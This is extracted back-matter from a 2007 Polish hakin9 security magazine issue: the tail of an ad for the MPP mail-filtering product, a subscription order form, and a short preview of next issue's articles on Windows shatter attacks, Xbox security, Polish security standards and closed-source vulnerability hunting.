go do subskrypcji dla każdego użytkownika MPP.
Wszystko to bez zaprzątania uwagi administratora.

OSZCZĘDNOŚĆ ZASOBÓW SERWERA

Przy współpracy z serwerem Postfix dodatkową za-
letą jest wbudowany w MPP Postfix Policy Server,
pozwalający odrzucić niepożądane e-maile zanim
trafią one na serwer pocztowy. Dzięki tej funkcji,
można większość spamu odrzucać już na poziomie
sesji SMTP. To MPP podejmuje decyzję, czy odrzucić
wiadomość, zanim trafi ona na serwer, czy pozwolić
na jej przekazanie i przeskanowanie przez system.

Warto wspomnieć także o funkcji body strip-

ping. Pozwala nam ona na odłączenie od wiadomo-
ści jej załącznika, zapisania go na serwerze ftp lub
http, a następnie dołączenie do maila linka do miej-
sca, w którym został zapisany załącznik. Dzięki te-
mu mamy lepszą kontrolę nad przepływem doku-
mentów oraz zmniejszamy rozmiary skrzynek
pocztowych. Załączniki możemy filtrować w opar-
ciu o rozmiar, nazwę lub na przykład typ załączni-
ka. Wyobraźmy sobie dość częstą sytuację archiwi-
zacji poczty. Chcemy archiwizować tylko małe ma-
ile, bez załączników. Dzięki odcinaniu załączników,
można zrobić wszystko - także pozwolić na przesy-
łanie dużych wiadomości.

MPP to system w sposób kompleksowy zabez-

pieczający serwer poczty przy minimalnym nakła-
dzie pracy. Pośrednie podpięcie do serwera pocz-
towego można oczywiście zrobić za pomocą Ama-
visD. Skonfigurować wszystko można w każdym
skanerze osobno. Przepływem poczty można ste-
rować zawsze z poziomu serwera. „Statystyczne”
podejście do skanowania antyspamowego to np.:
Vipul’s Razor czy D-Spam. Ale po co? Czy napraw-
dę jesteśmy w stanie poświęcić tak wiele czasu
na konfigurowanie wszystkich tych programów z
osobna? Wdrażając MPP, możemy skupić się na
znacznie przyjemniejszych zadaniach...

Sprawdź jak w praktyce działa MPP! Pobierz wersję
testową:

www.mpp.dagma.pl

DAGMA sp. z o.o.,
wyłączny dystrybutor MPP
w Polsce,

mpp@dagma.pl,

tel. (32) 259 11 00.

Kontakt:

Reklama

KLUB TECHNICZNY

JAK MNIEJ CZASU POŚWIĘCAĆ NA
ADMINISTROWANIE POCZTĄ?

background image

Zaprenumeruj swoje ulubione magazyny

i zamów archiwalne numery!

Już teraz w kilka minut możesz zaprenumerować swoje ulubione pismo.
Gwarantujemy:

- preferencyjne ceny
- bezpieczną płatność on-line
- szybką realizację Twojego zamówienia
Bezpieczna prenumerata on-line wszystkich tytułów Wydawnictwa Software!

www.buyitpress.com

zamówienie prenumeraty

background image

Prosimy wypełnić czytelnie i przesłać faksem na numer:

(22) 887 10 11 lub listownie na adres: Software-Wydawnictwo Sp. z o.o.,

Bokserska 1, 02-682 Warszawa, e-mail: pren@software.com.pl. Przyjmujemy też zamówienia telefoniczne:

(22) 887 14 44

Imię i nazwisko............................................................................................ ID kontrahenta..........................................................................................

Nazwa firmy................................................................................................. Numer NIP firmy.......................................................................................

Dokładny adres....................................................................................................................................................................................................................

Telefon (wraz z numerem kierunkowym)................................................... Faks (wraz z numerem kierunkowym) ....................................................

E-mail (niezbędny do wysłania faktury)............................................................................................................................................................................

zamówienie prenumeraty

1

Cena prenumeraty rocznej dla osób prywatnych

2

Cena prenumeraty rocznej dla osób prenumerujących już Software Developer’s Journal lub Linux+

3

Cena prenumeraty dwuletniej Aurox Linux

Jeżeli chcesz zapłacić kartą kredytową, wejdź na

stronę naszego sklepu internetowego:

www.buyitpress.com

automatyczne przedłużenie prenumeraty

Suma

Tytuł

Ilość

numerów

Ilość

zamawianych

prenumerat

Od numeru

pisma lub

miesiąca

Opłata

w zł

z VAT

Software Developer’s Journal (1 płyta CD)

– dawniej Software 2.0

Miesięcznik profesjonalnych programistów

12

250/180

1

SDJ Extra

(od 1 do 4 płyt CD lub DVD)

– dawniej Software 2.0 Extra!

Numery tematyczne dla programistów

6

150/135

2

Linux+DVD (2 płyty DVD)

Miesięcznik o systemie Linux

12

199/179

1

Linux+Extra! (od 1 do 7 płyt CD lub DVD)

Numery specjalne z najpopularniejszymi dystrybucjami Linuksa

8

232/198

2

PHP Solutions (1 płyta CD)

Dwumiesięcznik o zastosowaniach języka PHP

6

135

hakin9, jak się obronić (1 płyta CD)

Miesięcznik o bezpieczeństwie i hakingu

12

199

1

/219

.psd (1 płyta CD + film instruktażowy)

Dwumiesięcznik użytkowników programu Adobe Photoshop

6

140

.psd numery specjalne

(.psd Extra + .psd Starter Kit)

6

140

background image

Aktualne informacje o najbliższym numerze

http://www.hakin9.org/pl
Numer w sprzedaży na początku sierpnia 2007 r.

Redakcja zastrzega sobie prawo zmiany zawartości pisma.

hakin9

8/2007

w następnym numerze

między innymi:

Zapowiedzi

Shatter attack–nadużycia z wykorzystaniem

komunikatów w Windows

Stosowany w Windows mechanizm sterowana interfejsem graficznym został
zaprojektowany w czasach, gdy mało kto myślał o bezpieczeństwie. Dlate-
go też może zostać bez trudu wykorzystany do obejścia przez intruza ogra-
niczeń (na przykład zapór sieciowych) lub uzyskania wyższych przywilejów
w systemie.

Luki w zabezpieczeniach konsol Xbox300 i 360

Artykuł przedstawia opis zabezpieczeń (softwarowych i hardwarowych) kon-
soli Xbox oraz sposoby ich łamania. Następnie opisuje w ten sam sposób
Konsolę Xbox 360. Tekst zawiera porównanie tych dwóch konsol i wyjaśnia,
co MS zmienił na lepsze, czego nie ruszył itp. Oczywiście w przypadku Xbox
360 poruszone zostały trzy najważniejsze sprawy: firmware hack, lukę w
Hypervisorze, downgrade kernela używając modchipu Infectus.

Bezpieczeństwo informacji w polskich normach

Polskie normy dotyczące bezpieczeństwa informacji obok przepisów prawa
oraz standardów branżowych stanowią tzw. najlepsze praktyki, wytyczne
dla organizacji lub wymagania w przypadku podjęcia decyzji o wdrożeniu
w instytucji systemu zarządzania bezpieczeństwem informacji według PN-
ISO/IEC 27001: 2007

Wykrywanie podatności w aplikacjach z

zamkniętym kodem

Wykrywanie podatności w aplikacjach nie oferujących otwartego kodu jest
ciężką pracą. Nie mając dostępu do kodu, trudno wykryć potencjalny punkt
ataku. Trudne jest również znalezienie samej podatności i udowodnienie jej
istnienia.

NA CD:

hakin9.live 4.0.0. on BackTrack2.0
• mnóstwo narzędzi – niezbędnik hakera;
• tutoriale – praktyczne ćwiczenia zagadnień poruszanych w artykułach;
• dodatkowa dokumentacja;
• pełne wersje komercyjnych aplikacji.

Atak

Obrona

Obrona

Atak

background image
background image

Wyszukiwarka

Podobne podstrony:
Hakin9 27 (07 2007) PL
Hakin9 22 (02 2007) PL
Hakin9 31 (11 2007) PL
Hakin9 23 (03 2007) PL
Hakin9 25 (05 2007) PL
Hakin9 29 (09 2007) PL
Hakin9 26 (06 2007) PL
Hakin9 21 (01 2007) PL
Hakin9 28 (08 2007) PL
Hakin9 30 (10 2007) PL
Hakin9 24 (04 2007) PL
Hakin9 32 (12 2007) PL
Hakin9 22 (02 2007) PL
Hakin9 31 (11 2007) PL
C5 (X7) C5EG010SP0 0 27 07 2007 Demontaż Montaż Reflektor
Hakin9 32 (12 2007) PL
Hakin9 26 (06 2007) PL
Hakin9 31 (11 2007) PL
Hakin9 21 (01 2007) PL

więcej podobnych podstron